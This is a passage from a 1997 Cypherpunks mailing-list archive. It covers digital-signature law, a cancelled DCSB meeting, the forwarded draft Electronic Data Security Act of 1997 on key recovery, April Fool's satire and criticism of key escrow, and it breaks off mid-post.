From kent at songbird.com Tue Apr 1 02:06:00 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 1 Apr 1997 02:06:00 -0800 (PST) Subject: Analysis of proposed UK ban on use of non-escrowed crypto. In-Reply-To: <19970327232118.10795@bywater.songbird.com> Message-ID: <19970401020332.13826@bywater.songbird.com> On Mon, Mar 31, 1997 at 01:20:02PM -0500, Ray Arachelian wrote: > On Thu, 27 Mar 1997, Kent Crispin wrote: [...] > > > The only legal support needed for digital signatures > > > is for the courts to recognize that digital signatures > > > are equivalent to their analog counterparts. > > > > The *only* legal support? This is a *big* deal, and the issues are > > very complicated. Handwritten signatures and digital signatures are > > really quite different. > > I claimeth not lawyerhood, but IMHO, it can stand up in court if both > parties agree to it by analog signatures infront of a notray. I can comment, and I am not a lawyer -- I in fact know of one such case, where one large organization signed a MoU with another one that agreed that PGP signatures would be valid authorization for work orders and selected other transactions. This can be useful where the organizations in question have a long term relationship, and they are willing to go to the expense of drafting such a contract. > > > This could > > > be binding if the two parties sign something that says > > > "If I use PGP to sign a document I agree to allow that > > > document to be treated as if I signed it." (IMHO) > > > > Sure. It's been done, in fact. However, pairwise contracts with > > everyone you do business with is not going to cut it. You need laws > > for this. > > Not if it is agreed by all parties involved and their lawyers to honor > such signatures. (IMHO) Suppose I offer to sell you my car for $1000. We are not going to manually sign a contract to accept our pgp keys on a contract to sell the car, we will just do the total deal with manual signatures. Title will be transferred at the Department of Motor Vehicles with manual signatures. Smog certificates will be signed with manual signatures. It isn't worth the time and trouble to set up any kind of a special arrangement for digital signature for one time or sporadic, low volume transactions. Not until there is a legal infrastructure in place will we be able to do that. > > > [...] > > > > > > > 4) Businesses, especially large businesses, will (and do) > > > > want common standards for key and DS management. > > > Yeah, and they also want standards for software. [...] > > > > This is pair-wise contracting again. Note, incidentally, that > > standards concerning signatures are of a different order than > > standards concerning office software. There far more pressing > > liability issues with digital signature. > > Really? you must not have been gotten infected by the slew of Word and > Excel viruses out there. Might be a very good lawsuit against Micro$oft > that they allowed such things to happen. Not a chance. > Standards for a company are standards for a company. Which standard has > more weight or importance is up to that company. Sure, it is on a bigger > scale that installing XYZ OfficeWare and getting your ass fired, but it > is still a standard. We're not talking about standards for a company, we are talking about standards between companies, and government agencies. > Is there any reason that a specific company CAN'T decide to use PGP? (or > PEM, or some other scheme) if it so choses? All kinds of reasons. A Title Insurance company isn't going to be able to use digital signatures on Deeds of Trust without court approval, to just pick an example out of the air. [...] > > These are company signature > > keys, also used for encrypting email, so the company escrows all the > > secret halves of the keypairs. (There is no privacy issue here -- > > these are all company keys used for company business, all the > > encrypted documents are company documents.) > > So what's the problem? You hire people to keep track of assigning, > escrowing, and signing keys for your employees. You have IS staff and > security staff to watch for breeches. You can automate tons of this with > good written scripts that automatically scan all email for valid > signatures and raise alarms when signatures don't match. So what's the problem? Your answer is the problem: "You hire people...You have IS staff...You can automate etc" > Where is this not useful? For a small company a locked safe is plenty. > For a large company, you hire HR/Security folks to be your "Key Agents" > or whatever. This costs *money*. There is no reason to use digital signature unless it saves you *money*. A business isn't going to invest in DS infrastructure, especially of the scale you describe, just because they think it's fun. [...] > > > > Many commercial "standards" are legal standards, supplied by the > > government. In fact, the whole legal infrastructure of business law > > is really, when you get right down to it, a set of legally mandated > > standards. Standards are all over the map, when it comes to legal > > status. > > Because there are laws that force such standards on the company. This is a terribly simplistic view of things. Businesses also make good use of the level playing field that is provided by laws. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From rah at shipwright.com Tue Apr 1 05:05:28 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 1 Apr 1997 05:05:28 -0800 (PST) Subject: DCSB April Meeting Cancelled Message-ID: No, it's not an April Fool's joke. (Or, maybe it is, but it's not mine, anyway.) It's 07:19. The commuter rail isn't running. The busses aren't running. The subways are only running where they're underground. Logan's closed and won't open until 3 this afternoon, which means that Stewart Baker can't get here to speak. And, finally, the Harvard Club, which is usually open at this hour for breakfast, isn't answering the phone, which makes sense, because the manager gave me his home number yesterday in case something like this happened, and I called him just now, and *he's* still home. :-). So, as they say in the movies, "Game over, man." I think it'll probably be easier just to cancel this month's meeting, and, if Mr. Baker wants to come some other time, we'll reschedule him -- and reschedule our other speakers, if necessary, to accomodate him. If folks really just want to delay the meeting and cobble together another program later this week or next, we can of course discuss it on the dcsb list. I'm sure the Club would love our revenue. :-). So, let's talk about the money, shall we? If you sent me a check for this meeting, and you plan on coming to the next meeting, I'll hold it for next time. Just let me know. If you sent me a check and you don't plan to come next time, I'd prefer to just tear up the check rather than send it back (I probably don't have the envelope anymore, anyway :-)). I'll send you a PGP signed confirmation of that fact, with the check number. However, if *really* want me to send your check back, let me know. Please remember to include your mailing address, so I know where to send it back to. Let me know if you have any other questions, and, see you next time! Cheers, Bob Hettinga (Snowed in) Moderator, The Digital Commerce Society of Boston ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From canthony at info-nation.com Tue Apr 1 05:27:44 1997 From: canthony at info-nation.com (Charles Anthony) Date: Tue, 1 Apr 1997 05:27:44 -0800 (PST) Subject: Fwd: Full Text Draft Legislation- key management infrastructure Message-ID: <199704011327.HAA19601@bitstream.net> ------- Forwarded Message Follows ------- Date: Mon, 31 Mar 1997 06:40:13 -0800 (PST) From: Phil Agre To: rre at weber.ucsd.edu Subject: key management infrastructure Reply-to: rre-maintainers at weber.ucsd.edu [I've enclosed the full text of draft legislation on key recovery that the administration is circulating in Congress. You won't like it.] _____________________________________________________________________ [From CDT.] 105th CONGRESS DRAFT 3/12/97 1st Session H.R. _________________ ________________________________________ Mr. _________________ of _________________ introduced the following bill; which was referred to the Committee on _____________________ A BILL To enable the development of a key management infrastructure for public-key-based encryption and attendant encryption products that will assure that individuals and businesses can transmit and receive information electronically with confidence in the information's confidentiality, integrity, availability, and authenticity, and that will promote timely lawful government access. Be it enacted by the Senate and House of Representatives of the United States of America in Congress assembled, TITLE I -- GENERAL PROVISIONS SEC. 101. SHORT TITLE This Act may be cited as the "Electronic Data Security Act of 1997". SEC. 102. FINDINGS The Congress finds the following: (A) The development of the information superhighway is fundamentally changing the way we interact. The nation's commerce is moving to networking. Individuals, government entities, and other institutions are communicating across common links. (B) The Internet has provided our society with a glimpse of what is possible in the information age, and the demand for information access and electronic commerce is rapidly increasing. The demands are arising from all elements of society, including banks, manufacturers, service providers, state and local governments, and educational institutions. (C) Today, business and social interactions occur through face-to-face discussions, telephone communications, and written correspondence. Each of these methods for interacting enables us to recognize the face, or voice, or written signature of the person with whom we are dealing. It is this recognition that permits us to trust the communication. (D) In the information age, however, those personal attributes will be replaced with digital equivalents upon which we will rely. Electronic digital transmissions, through which many businesses and social interactions will occur, inherently separate the communication from the person, forsaking confidence once derived from a handshake or a signed document. (E) At the same time, society's increasing reliance on information systems in this new environment exposes U.S. citizens, institutions, and their information to unprecedented risks. (F) In order for the global information infrastructure and electronic commerce to achieve their potential, information systems must e imbued with the attributes that overcome these risks and must provide trusted methods to identify users. (G) Cryptography can meet these needs. Cryptography can be used to digitally sign communications ore electronic documents such that a recipient can be confident that any message he or she received could only have come from the apparent sender. Moreover, cryptography is an important tool in protecting the confidentially of wire and electronic communications and stored data. Thus,. there is a national need to encourage the development, adoption, and use of cryptographic products that are consistent with the foregoing considerations and are appropriate for use both in domestic and export markets by the United States Government. (H) The lack of a key management infrastructure impedes the use cryptography and, there fore, the potential of electronic commerce. Users cannot encrypt messages without keys, therefore, they need a secure and standardized mechanism for the generation of keys, storage of keys, and transfer of keys between users. There is currently no standardized mechanism for the generation of keys, storage of keys, and transfer of keys between users. There is currently no standardized method in the private sector to accomplish all of these tasks, thus users must individually assume these burdens or forego the use of cryptography. (I) Industry must work with government to develop a public-key-based key management infrastructure and attendant products that will ensure participants can transmit, receive, and use information electronically with confidence in the information's integrity, confidentiality, authenticity, and origin, while also allowing timely lawful government access. (J) To this end, the government should issue appropriate public key encryption standards for federal systems and encourage the development of interoperable private sector standards for use across border. However, the architecture(s) the government endorses in its standards must permit the use of any encryption algorithm. (K) To effectively serve the public, such a key management infrastructure must be founded upon a system of trusted service providers to ensure acceptable standards of security, reliability, and interoperability. (L) While cryptographic products and services are useful for protecting information and its authenticity, such products also can be sued by terrorists, organized crime syndicates, drug trafficking organizations, and other dangerous and violent criminals to avoid detection and to hide evidence of criminal activity, thereby jeopardizing effective law enforcement, public safety, and national security. (M) Any effective key management infrastructure must not hinder the ability of government agencies, pursuant to lawful authority, to decipher in a timely manner and obtain the plaintext of communications and stored data. SEC. 103. LAWFUL USE OF ENCRYPTION. It shall be lawful for any person within any State of the United States, the District of Columbia, the Commonwealth of Puerto Rico, and any territory or possession of the United States, to use any encryption, regardless of the encryption algorithm selected, encryption key length chosen, or implementation technique or medium used, except as provided in this Act or in any other law. Participation in the key management infrastructure enabled by this Act is voluntary. TITLE II -- REGISTRATION OF CERTIFICATE AUTHORITIES AND KEY RECOVERY AGENTS SEC. 201. REGISTRATION OF CERTIFICATE AUTHORITIES The Secretary may register any suitable private sector entity, government agency, or foreign government agency to act as a Certificate Authority in the Secretary determines that the entity or agency meets minimum standards, as specified in regulations promulgated by the Secretary. for security, performance, and practices in order to accomplish the duties of a Certificate Authority registered under this Act. The Secretary may condition, modify or revoke such a registration if the registered entity or agency has violated any provision of this Act or any rule, regulation, or requirement prescribed by the Secretary under this Act, or for any other reasons specified by the Secretary in rule or regulation. SEC. 202. REGISTRATION OF KEY RECOVERY AGENTS. (A) Registration by the Secretary. The Secretary may register a suitable private sector entity or government agency to act as a Key Recovery Agent if the Secretary determines that the entity or agency possesses the capability, competency, trustworthiness and resources to safeguard sensitive information entrusted to it, to carry out the responsibilities set forth in subsection (B) of this section, and to comply with the Secretary's regulations. (B) Responsibilities of Key Recovery Agents. A Key Recovery Agent registered under subsection (A) of this section shall, consistent with regulations issued by the Secretary, establish procedures and take other appropriate steps -- (1) to ensure the confidentiality, integrity, availability and timely release of recovery information held by the Key Recovery Agent; (2) to protect the confidentiality of the identity of the person or persons for whom such Key Recovery Agent holds recovery information; (3) to protect the confidentiality of lawful requests for recovery information and the identity of the individual or government agency requesting recovery information and all information concerning such individual's or agency's access to and sue of recovery information; (4) to carry out the responsibilities set forth in this Act and implementing regulations. (C) Revocation of Key Recovery Agent Registration. The Secretary may condition, modify, or revoke a Key Recovery Agent's registration if the registered entity or agency has violated nay provision of this Act or any rule, regulation, or requirement prescribed by the Secretary under this Act, or for any other reasons specified by the Secretary in rule or regulation. SEC. 203. PUBLIC KEY CERTIFICATES FOR ENCRYPTION KEYS. The Secretary or a Certificate Authority registered under this Act may issue to a person a public key certificate that certifies a public key that can be used for encryption only if the person: (A) stores with a Key Recovery Agent registered by the Secretary under this Act sufficiently information, as specified by the Secretary in regulations, to allow lawful recovery of the plaintext of that person's encrypted data and communications; or (B) makes other arrangements, approved by the Secretary pursuant to regulations acceptable to the Attorney General, that assure that lawful recovery of the plaintext of encrypted data and communications can be accomplished confidentially when necessary. TITLE III -- RELEASE OF RECOVERY INFORMATION BY KEY RECOVERY AGENTS SEC. 301. CIRCUMSTANCES IN WHICH INFORMATION MAY BE RELEASED A Key Recovery Agent, whether or not registered by the Secretary under this Act, is prohibited from disclosing recovery information stored by a persons unless the disclosure is -- (A) to that person, or an authorized agent thereof; (B) with the consent of that person, including pursuant to a contract entered into with that person; (C) pursuant to a court order upon a showing of compelling need for the information that cannot be accommodated by any other means, if -- (1) the person who stored the information is given reasonable notice, by the person seeking the disclosure of the court proceeding relevant to the issuance of the court order; and (2) the person who stored the information is afforded the opportunity to appear in the court proceeding and contest the claim of the person seeking the disclosure; (D) pursuant to a determination by a court of competent jurisdiction that another person is lawfully entitled to hold such recovery information, particularly including determinations arising from legal proceedings associated with the death or dissolution of any person; or (E) as otherwise permitted by this Act or other law, particularly including release of recovery information pursuant to section 302 of this Act. SEC. 302. RELEASE OF RECOVERY INFORMATION TO GOVERNMENT AGENCIES. (A) A Key Recovery Agent, whether or not registered by the Secretary under this Act, shall disclose recovery information stored by a person: (1) to a government agency acting pursuant to a duly authorized warrant or court order, a subpoena authorized by Federal or State statute or rule, a certification issued by the Attorney General under the Foreign Intelligence Surveillance Act, or other lawful authority that allows access to recovery information by such agency; or (2) to a law enforcement or national security government agency upon receipt of written authorization in a form to be specified by the Attorney General/ (B) The Attorney General shall issue regulations governing the use of written authorizations to require release of recovery information to law enforcement and national security government agencies. Those regulations shall permit the use of written authorizations only when the government agency is lawfully entitled to determine the plaintext of wire or electronic communications or of electronic information and will use the recovery information for that purpose, to test products in the agency+s possession, to prove facts in legal proceedings, or to comply with a request from a duly authorized agency or a foreign government. SEC. 303. USE AND DESTRUCTION OF RECOVERY INFORMATION RELEASE TO A GOVERNMENT AGENCY. A government agency to which recovery information has been release in response to a written authorization issued under section 302()A)(2) or the Act, by a Key Recovery Agent registered under this Act, may use the recovery information only to determine the plaintext of any wire or electronic communication or of any stored electronic information that the agency lawfully acquires or intercepts, to test cryptographic products in the agency+s possession, to prove facts in legal proceedings, or to comply with the request of a duly authorized agency of a foreign government. Once such lawful use is completed, the government agency shall destroy the recovery information in its possession and shall make a record documenting such destruction. The government agency shall not use the recovery information to determine that plaintext of any wire or electronic communication or of any stored electronic information unless it has lawful authority to do so apart from the Act. SEC. 304. CONFIDENTIALITY OF RELEASE OF RECOVERY INFORMATION. A Key Recovery Agent or other person shall not disclose to any person, except as authorized by this Act or regulations promulgated thereunder or except as ordered by a federal court of competent jurisdiction, the facts or circumstances of any release of recovery information pursuant to section 302(A)(2) of the Act or requests therefor. TITLE IV -- LIABILITY SEC. 401. CIVIL ENFORCEMENT (A) Enforcement by the Secretary. The Secretary may, when appropriate in fulfilling his or her duties under this Act or the regulations promulgated thereunder, make investigations, obtain information, take sworn testimony, and require reports or the keeping of records by, and make inspection of the books, records, and other writings, premises or property of registered entities. (B) Civil Penalties. Any person who violates section 403 of this Act shall be subject to a civil penalty in an amount assessed by a court in a civil action. (1) The amount of the civil penalty may not exceed $10,000 per violation, unless the violation was willful, or was committed by a Key Recovery Agent or a Certificate Authority not registered under this Act. In determining the amount of the penalty the court shall consider the risk of harm to law enforcement, public safety, and national security the risk of harm to affected persons, the gross receipts of the charged party, the judgment of the Attorney General concerning the appropriate penalty, and the willfulness of the violation. (2) a civil action to recover such a civil penalty may be commenced by the Attorney General. (3) A civil action under this subsection may not be commenced later than 5 years after the cause of the action accrues. (C) Injunctions. The attorney General may bring an action to enjoin any person from committing any violation of any provision of the Act or regulations promulgated thereunder. (D) Jurisdiction. The district courts of the Untied States shall have original jurisdictions over any actions brought by the Attorney General under this section. SEC. 402. CIVIL CAUSE OF ACTION AGAINST THE UNITED STATES GOVERNMENT. (A) Cause of Action. Except as otherwise provided in this Act, any person whose recovery information is knowingly obtained without lawful authority by an agent of the United States Government from a registered Key Recovery Agent, or, if obtained by an agent of the United States Government with lawful authority from a registered Key Recovery Agent, is knowingly used or disclosed without lawful authority, may, in a civil action, recover from the United States Government the actual damages suffered by the plaintiff, and reasonable attorney+s fee and other litigation costs reasonably incurred. (B) Limitations. a civil action under this section may not be commenced later than two years after the date upon which the claimant first discovered or had a reasonable opportunity to discover the violation. SEC. 403. CRIMINAL ACTS. It shall be unlawful for any person -- (A) if a Certificate Authority registered under this Act, intentionally to issue a public key certificate in violation of section 203 of this Act; (B) intentionally to disclose recovery information in violation of this Act; (C) intentionally to obtain or use recovery information without lawful authority, or, having received such information with lawful authority, intentionally to exceed such authority for the purpose of decrypting data or communications; (D) if a Key Recovery Agent, or officer, employee, or agent thereof, intentionally to disclose the facts or circumstances of any release of recovery information or requests therefor in violation of this Act; (E) intentionally to issue a public key certificate under this Act, or to fail to revoke such a certificate, knowing that the person from whom the certificate is issued does not meet the requirements of this Act or the regulations promulgated thereunder; (F) intentionally to apply for or obtain a public key certificate under this Act, knowing that the person to be identified in the public key certificate does not meet the requirements of this Act or the Regulations promulgated thereunder; or (G) knowingly to issue a public key certificate in furtherance of the commission of a criminal offense which may be prosecuted in a court of competent jurisdiction. Any person who violates this section shall be fined under title 18, United States Code, or imprisoned not more than five years, or both. SEC. 404. USE OF ENCRYPTION IN FURTHERANCE OF CRIME. (A) Whoever knowingly encrypts data or communications in furtherance of the commission of a criminal offense for which the person may be prosecuted in a court of competent jurisdiction shall, in addition to any penalties for the underlying criminal offense, be fined under title 18, United States Code, or imprisoned not more than five years, or both. (B) It is an affirmative defense to a prosecution under this section that the defendant stored sufficient information to decrypt the data or communications with a Key Recovery Agent registered under Act if that information is reasonable available to the government. The defendant bears the burden of persuasion on this issue. (C) The United States Sentencing Commission shall, pursuant to its authority under section 9944(p) of title 28, United States Code, amend the sentencing guidelines to ensure that any person convicted of a violation of subsection (A) of this section is imprisoned for not less than 6 months, and if convicted of other offenses at the same time, has the offense level increased by at least three levels. SEC. 405. NO CAUSE OF ACTION FOR COMPLYING WITH GOVERNMENT REQUESTS. No civil or criminal liability under this Act or any other law shall attach to ant Key Recovery Agent, its officers, employees, agents, or any other persons specified by the Secretary in regulations, for disclosing recovery information or providing other assistance to a government agency in accordance with the terms of a court order, warrant, subpoena, certification, written authorization or other legal authority. SEC. 406. COMPLIANCE DEFENSE. Compliance with this Act and the regulations promulgated thereunder is a complete defense, for Certificate Authorities registered under this Act and Key Recovery Agents registered under this Act, to any noncontractual civil action for damages based upon activities regulated by this Act. SEC. 407. GOOD FAITH DEFENSE. A good faith reliance on a court warrant or order subpoena, legislative authorization, statutory authorization, a certification, a written authorization, or other legal authority for access to recovery information under this Act or its implementing regulations is a complete defense to any civil or criminal action brought under this Act. SEC. 408. FEDERAL GOVERNMENT LIABILITY. Except as provided otherwise in this Act, the United States shall not be liable for any loss incurred by any individual or entity resulting from any violation of this Act or the failure to exercise reasonable care in the performance of any duties under any regulation or procedure established by or under this Act, nor resulting from any action by any person who is not an official or employee of the United States. TITLE V -- OTHER KEY RECOVERY PROVISIONS SEC. 501. LABELING OF ENCRYPTION PRODUCTS. (A) Any person engaged in manufacturing, importing, packaging, distributing or labeling of encryption products for purposes of sale or distribution in the United States shall package and label them so as to inform the user whether the products use Key Recovery Agents registered under this Act for storage of recovery information, and whether such products are authorized for use in transactions with the United States Government, as specified in regulations promulgated by the Secretary. (B) The provisions contained in subsection (A) shall not apply to persons engaged in business as wholesale or retail distributors of encryption products to users except to the extent such persons are (1) engaged in packaging or labeling of such products for sale to users, or (2) prescribe or specify by any means the manner in which such products are package or labeled. SEC. 502. CONTRACTS, COOPERATIVE AGREEMENTS, JOINT VENTURES AND OTHER TRANSACTIONS. A Federal agency approved as a Key Recovery Agent under this Act may enter into contracts, cooperative agreements, joint ventures and other transactions and take other appropriate steps to carry out its responsibilities. SEC 503. NEGOTIATION WITH OTHER COUNTRIES. The President shall conduct negotiations with other countries, on a bilateral or multilateral basis, for the purpose of seeking and concluding mutual recognition arrangements for Key Recovery Agents and Certificate Authorities registered by the United States and other countries. TITLE VI -- MISCELLANEOUS PROVISIONS SEC. 601. REGULATION AND FEES. (A) Within one hundred and eighty days after the date of the enactment of this Act, the Secretary shall, in coordination with the Secretary of State, Secretary of Defense, and Attorney General, after notice to the public and opportunity for comment, issue any regulations necessary to carry out this Act. (B) The Secretary may delay the date for compliance with the regulations issued for up to one year if the Secretary determines that the delay is necessary to allow for compliance with the regulations. (C) The Secretary may charge such fees as are appropriate I order to accomplish his or her duties under this Act. SEC. 602. INTERPRETATION. Nothing contained in this Title shall be deemed to preempt or otherwise affect the applications of the Arms Export Control Act (22 U.S.C. 2751 et sec.) or any regulations promulgated thereunder. (Language concerning the Export Administration Act and/or IEEPA is under development.) SEC. 603. SEVERABILITY. If any provision of this Act, or the application thereof, to any person or circumstance, is held invalid, the remainder of this Act, and the application thereof, to other persons or circumstances shall not be affected thereby. SEC. 604. AUTHORIZATION OF APPROPRIATIONS. [This section is reserved pending discussions to develop language that is consistent with the President+s budget.] SEC. 605. DEFINITIONS. For purposes of this Act: (1) The term "person" means any individual, corporation, company, association, firm, partnership, society, or joint stock company. (2) The term "Secretary" means the Secretary of Commerce of the United States or his or her designee. (3) The term "Secretary of State: means the Secretary of State of the United States or his or her designee. (4) The term "Secretary of Defense" means the Secretary of Defense of the United States or his or her designee. (5) The term "Attorney General" means the Attorney General of the United States or his or her designee. (6) The term "encryption" means the transformation of data (including communications) in order to hide its information content. To "encrypt" is to perform encryption. (7) The term "decryption" means the retransformation of data (including communications) that has been encrypted into the data+s original form. (8) The term "plaintext" refers to data (including communications) that has not been encrypted, or if encrypted, has been decrypted. (9) The term "ciphertext" refers to data (including communications) that has been encrypted. (10) the term "key" means a parameter, or a component thereof, used with an algorithm to validate, authenticate, encrypt or decrypt a message. (11) The term "public key" means for cryptographic systems that use different keys for encryption and decryption, the key that is intended to be publicly known. (12) The term "public key certificate" means information about a public key and its user, particularly including information that identifies that public key with its user, which has been digitally signed by the person issuing the public key certificate, using a private key of the issuer. (13) The term "Certificate Authority" means a person trusted by one or more persons to create and assign public key certificates. (14) The term "Key Recovery Agent" means a person trusted by one or more persons to hold and maintain sufficient information to allow access to the data or communications of the person or persons for whom that information is held, and who holds and maintains that information as a business or governmental practice, whether or not for profit. (15) The term "recovery information" means keys or other information provided to a Key Recovery Agent by a person, that can be used to decrypt that person+s data and communications. (16) The term "electronic information" includes but is not limited to voice communications, texts, messages, recordings, images or documents, in any electronic, electromagnetic, photoelectronic, photooptical, or digitally encoded computerreadable form. (17) The term "electronic communication" has the meaning given such term in section 2510 (12) of title 18, United States Code. (18) The term "wire communications" has the meaning given such term in section 2510(1) of title 18, United States Code. (19) The term "government" means the government of the United States and any agency or instrumentality thereof, a State or political subdivision of a State, the District of Columbia, or commonwealth, territory, or possession of the United States. (20) The term "cryptographic product" means any product (including, but not limited to, hardware, firmware, or software, or some combination thereof), that is designed, adapted, or configured to use a cryptographic algorithm to protect or assure the integrity, confidentiality and/or authenticity of information. (21) The term "encryption product" means a cryptographic product that can be used to encrypt or decrypt data. From master at internexus.net Tue Apr 1 05:38:11 1997 From: master at internexus.net (Laszlo Vecsey) Date: Tue, 1 Apr 1997 05:38:11 -0800 (PST) Subject: multiple messages Message-ID: Is it possible to have a single cyphertext decrypted into two valid plaintexts? If two can be done (yielding 50% compression right there) perhaps more can as well. From rah at shipwright.com Tue Apr 1 07:03:42 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 1 Apr 1997 07:03:42 -0800 (PST) Subject: Sterling ConnectConceal Message-ID: Fresh off the canary cage floor and InfoWorld. Public key cryptography meets security through obscurity with single private key /multiple user access. SDKs only $2,500. The ganglia twitch. No, it's not an April Fool's joke. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From camcc at abraxis.com Tue Apr 1 07:25:33 1997 From: camcc at abraxis.com (Alec) Date: Tue, 1 Apr 1997 07:25:33 -0800 (PST) Subject: multiple messages In-Reply-To: Message-ID: <3.0.1.32.19970401102556.007b6820@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:37 AM 4/1/97 -0500, Laszlo Vecsey wrote: |Is it possible to have a single cyphertext decrypted into two valid |plaintexts? If two can be done (yielding 50% compression right there) |perhaps more can as well. If I understand you correctly,.... Nym servers when requested to "fixed size" documents to be forwarded may have what appear (upon initial decryption) to be two messages in one package. One RSA message -----BEGIN PGP MESSAGE----- lkflsd ----END PGP MESSAGE----- is bundled with -----BEGIN GARBAGE MESSAGE----- dsujds ----END GARBAGE MESSAGE----- both within an IDEA encrypted message. One decrypts the IDEA message, deletes the gargage, and uses his secret key to decrypt the PGP message. Wiser folks will tell us if it is possible to have two true PGP messages in one "bundle." I don't see why not. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0EpAiKJGkNBIH7lAQHgdQP/YBBvElIskjSXCC0ZMnoGUdwQAKEqonyg iv5/TM11Aw98Vf9kAnTEKIqExY2eUozQmdPmapovpjlUol8oe3xNSQLbueBDmMA1 Wj2K79ak6fSta5vbG7wES4EbOGDRJ26dxX5VDndT5VDj5ARqbBdmjNdeTa+c3Ax/ RrTyfwcoDdM= =0FaT -----END PGP SIGNATURE----- From toto at sk.sympatico.ca Tue Apr 1 08:07:49 1997 From: toto at sk.sympatico.ca (B. Gates) Date: Tue, 1 Apr 1997 08:07:49 -0800 (PST) Subject: Free the Mice! Message-ID: <334132DE.6C3B@sk.sympatico.ca> A non-text attachment was scrubbed... Name: not available Type: text/html Size: 185 bytes Desc: not available URL: From bubba at dev.null Tue Apr 1 09:55:27 1997 From: bubba at dev.null (Bubba Rom Dos) Date: Tue, 1 Apr 1997 09:55:27 -0800 (PST) Subject: Time Zone Change? Message-ID: <33414C42.64CA@dev.null> Excerpt from Vancouver Sun: > > If Ottawa goes ahead with the proposal, Newfoundland would no longer > have their own special time zone, which is 30 minutes ahead of the > standard Atlantic Time Zone used by their neighbors to the West. > > Newfoundlanders, however, are expected to raise a great outcry over > loss of their historical half-hour time zone, regardless of Ottawa's > concerns over what they consider excessive cost for the benefits > gained by Newfoundland's citizens. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From nobody at huge.cajones.com Tue Apr 1 10:32:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 1 Apr 1997 10:32:05 -0800 (PST) Subject: No Subject Message-ID: <199704011832.KAA11717@fat.doobie.com> >From: jim bell >Subject: Definition of AP? >Reply-To: jim bell >To: cypherpunks at toad.com >>Anonymous wrote: >> Can you give me a definition/description of AP in a few concise lines? >Probably. > >Ideally, it would capture the theory/purpose/methodology in terms that >those unfamiliar with the concept could immediately understand. > >AP, considered generically, is a system which allows individuals and groups >of people to anonymously defend themselves from all types of agression, most >peculiarly including agression tolerated or even done by governments. Dear Mr. Bell: We have been both pleased and relieved to note that over the past several months you have used the troublesome initials "AP" much less frequently than has been your habit. This measurable improvement in your attitude has considerably reduced the influx of damaging materials into your files. Today, however, it has been brought to our attention that you took the opportunity to launch into an explanation (relatively controlled, we hasten to say) of the basic theory you have been propounding regarding AP. More troublesome is the evidence that you, yourself, posted the supposedly anonymous question to which you responded. We sincerely hope that such felonious manipulation of e-mail traffic and information does not indicate a return to your previous unacceptable outbursts. Knowing you have been attempting to "moderate" your posts, we are certain you will accept our offer of 5 sessions of Deep Tissue--Relaxation Therapy at the therapist of your choice -- with whom we have been in contact. Always hoping for the best, we remain, The Bell Team secserv at whitehouse.gov From nobody at huge.cajones.com Tue Apr 1 11:03:06 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 1 Apr 1997 11:03:06 -0800 (PST) Subject: Definition of AP? Message-ID: <199704011903.LAA12861@fat.doobie.com> >From: jim bell >Subject: Definition of AP? >Reply-To: jim bell >To: cypherpunks at toad.com >>Anonymous wrote: >> Can you give me a definition/description of AP in a few concise lines? >Probably. > >Ideally, it would capture the theory/purpose/methodology in terms that >those unfamiliar with the concept could immediately understand. > >AP, considered generically, is a system which allows individuals and groups >of people to anonymously defend themselves from all types of agression, most >peculiarly including agression tolerated or even done by governments. Dear Mr. Bell: We have been both pleased and relieved to note that over the past several months you have used the troublesome initials "AP" much less frequently than has been your habit. This measurable improvement in your attitude has considerably reduced the influx of damaging materials into your files. Today, however, it has been brought to our attention that you took the opportunity to launch into an explanation (relatively controlled, we hasten to say) of the basic theory you have been propounding regarding AP. More troublesome is the evidence that you, yourself, posted the supposedly anonymous question to which you responded. We sincerely hope that such felonious manipulation of e-mail traffic and information does not indicate a return to your previous unacceptable outbursts. Knowing you have been attempting to "moderate" your posts, we are certain you will accept our offer of 5 sessions of Deep Tissue--Relaxation Therapy at the therapist of your choice -- with whom we have been in contact. Always hoping for the best, we remain, The Bell Team secserv at whitehouse.gov From toto at sk.sympatico.ca Tue Apr 1 12:12:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 1 Apr 1997 12:12:18 -0800 (PST) Subject: The Balloon is Going Up....criminalization of noncompliant crypto In-Reply-To: <199704011812.NAA25259@jafar.issl.atl.hp.com> Message-ID: <33416B67.73BD@sk.sympatico.ca> Jeff Barber wrote: > The real problem is, as Hal notes, that CAs registered under the act > can only create certificates if the corresponding private key is lodged > with a registered KRA. > > This proposal is a bald attempt to make a totally artificial linkage > between a concept for which there is a good [or at least perceived good] > business case -- officially registered CAs -- and one which the > government desires but which has *no* business case: officially > registered KRAs. It's trying to make it seem that key recovery/escrow > has something to do with key signing/certification when it patently > does not. Do the words 'Gun Control' ring a bell? It seems that every time government announces its intention to restrict 'criminals' use of an item, it is not long before everyone using that item is considered a criminal. In the case of encryption, it will still be legal, but not if you use real bullets. Perhaps if enough people manage to circumvent forced key escrow in the future, the government will pass a law requiring all crypto products to force everybody to use the same password. (I can hardly wait to see what reasoning they use to explain to us that it is for our own protection.) -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From raph at acm.org Tue Apr 1 12:22:03 1997 From: raph at acm.org (Raph Levien) Date: Tue, 1 Apr 1997 12:22:03 -0800 (PST) Subject: [NOISE] labelling requirement in EDSA 1997 Message-ID: <33416EA3.51EA17A@acm.org> Cypherpunks, One of the more disturbing pieces of the Electronic Data Security Act of 